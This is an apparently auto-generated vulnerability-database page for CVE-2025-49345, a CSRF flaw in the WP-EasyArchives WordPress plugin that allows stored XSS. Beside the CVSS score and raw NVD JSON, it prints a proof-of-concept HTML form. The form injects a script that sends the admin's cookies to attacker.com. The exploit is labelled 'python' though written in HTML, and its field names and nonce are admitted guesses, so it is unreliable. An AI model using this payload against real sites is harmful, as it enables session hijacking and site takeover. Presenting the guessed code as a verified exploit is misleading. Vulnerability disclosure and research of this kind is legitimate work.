Security Vulnerability Report
中文
CVE-2025-49345 CVSS 7.1 HIGH

CVE-2025-49345

Published: 2025-12-31 06:15:41
Last Modified: 2026-04-23 15:31:30

Description

Cross-Site Request Forgery (CSRF) vulnerability in mg12 WP-EasyArchives wp-easyarchives allows Stored XSS.This issue affects WP-EasyArchives: from n/a through <= 3.1.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP-EasyArchives <= 3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-49345: WP-EasyArchives Stored XSS via CSRF --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript --> <!-- through CSRF by tricking an admin into visiting this page --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-49345</title> </head> <body> <h1>CSRF PoC for WP-EasyArchives <= 3.1.2</h1> <p>Click the button below to trigger the attack (for educational purposes only)</p> <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrfForm"> <!-- Plugin-specific parameters - adjust based on target --> <input type="hidden" name="action" value="wp-easyarchives-save"> <input type="hidden" name="option_page" value="wp-easyarchives"> <!-- Stored XSS payload in plugin settings --> <input type="hidden" name="wp_easyarchives_title" value="<script>alert('XSS by CSRF');document.location='https://attacker.com/steal?cookie='+document.cookie;</script>"> <!-- CSRF token (if required by plugin) --> <input type="hidden" name="_wpnonce" value="attacker-controlled-or-empty"> <!-- WordPress _wp_http_referer --> <input type="hidden" name="_wp_http_referer" value="/wp-admin/options-general.php?page=wp-easyarchives"> </form> <button type="submit" onclick="this.disabled=true;this.textContent='Attack Triggered';document.getElementById('csrfForm').submit();"> Execute CSRF Attack </button> <script> // Auto-submit on page load (commented out for safety) // document.getElementById('csrfForm').submit(); console.log('CSRF PoC loaded - CVE-2025-49345'); console.log('Target: WP-EasyArchives plugin <= 3.1.2'); console.log('Vulnerability: CSRF leading to Stored XSS'); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49345", "sourceIdentifier": "[email protected]", "published": "2025-12-31T06:15:40.957", "lastModified": "2026-04-23T15:31:30.413", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in mg12 WP-EasyArchives wp-easyarchives allows Stored XSS.This issue affects WP-EasyArchives: from n/a through <= 3.1.2."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en mg12 WP-EasyArchives permite XSS Almacenado. Este problema afecta a WP-EasyArchives: desde n/d hasta 3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-easyarchives/vulnerability/wordpress-wp-easyarchives-plugin-3-1-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}